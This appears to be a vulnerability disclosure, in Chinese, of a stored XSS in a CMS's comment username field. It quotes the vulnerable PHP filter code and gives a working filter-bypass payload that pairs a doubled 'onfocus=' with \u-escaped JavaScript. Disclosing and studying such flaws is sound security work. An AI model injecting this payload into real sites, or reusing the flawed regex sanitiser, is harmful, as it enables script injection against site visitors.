### 简要描述:
不搞论坛了,换个姿势继续x,最新版也受到影响
### 详细说明:
存在xss的地方在商品评论的用户名处
[<img src="https://images.seebug.org/upload/201407/25142842e2a2e710b23cc3c55491ededcad104b6.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142842e2a2e710b23cc3c55491ededcad104b6.jpg)
直接给出xss语句,360脚本拦截html实体编码,所以需要使用\uxxxx编码。语句如下:
```
<input onfocus=onfocus=\u0061lert(1) autofocus>
```
漏洞的成因主要是因为正则没写好,并且碰巧用户名处没去除html标签导致的。我们一步一步看:
首先我们输入的数据会来到uploads\lib\default\comment_act.php的第8行:
```
function add_action() {
if(front::post('submit') &&front::post('aid')) {
if(config::get('verifycode')) {
if(front::post('verify')<>session::get('verify')) {
alertinfo('验证码错误。', front::$from);
//front::redirect(front::$from);
}
}
if(!front::post('username')) {
/*front::flash(lang('请留下你的名字!'));
front::redirect(front::$from);*/
alertinfo('请留下你的名字!', front::$from);
}
if(!front::post('content')) {
/*front::flash(lang('请填写评论内容!'));
front::redirect(front::$from);*/
alertinfo('请填写评论内容!', front::$from);
}
$this->manage->filter(); //********此处跟进filter
$comment=new comment();
$archive=new archive();
front::$post['state'] = '0';
front::$post['adddate']=date('Y-m-d H:i:s');
$comment->rec_insert(front::$post);
$archive->rec_update('comment=comment+1',front::post('aid'));
//front::flash(lang('提交成功!'));
alertinfo('评论提交成功。', front::$from);
```
跟进filter来到\uploads\lib\table\table_mode.php第9行:
```
function filter() {
foreach(front::$post as $key =>$value) {
if(is_string($value))
front::$post[$key]=tool::filterXss($Exc ?$value : tool::removehtml($value)); //******继续跟进removehtml
}
}
```
继续跟进removehtml,可以看到removehtml的定义如下:
```
static function removehtml($str) {
$farr=array(
"/<(\/?)(script|i?frame|style|html|body|title|link|meta|\?|\%)([^>]*?)>/isU",
"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",
);
$tarr=array(
"<\1\2\3>",
"\1\2",
);
$str=preg_replace($farr,$tarr,$str);
return $str;
}
```
其中存在问题的正则是
```
/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU
```
并且按照"\1\2"的分组来替换,如果我们输入的是
```
<input onfocus=onfocus=\u0061lert(1) autofocus>
```
看看会替换成什么样:

可以看到分组1和2刚好拼凑成了`<input onfocus=\u0061lert(1) autofocus>`
最后看输出,输出在#comment_js.php,可以看到content使用了strip_tags去掉html标签,而username却直接输出到页面。一系列的巧合导致了漏洞发生。

成功执行xss

### 漏洞证明:
成功执行xss

暂无评论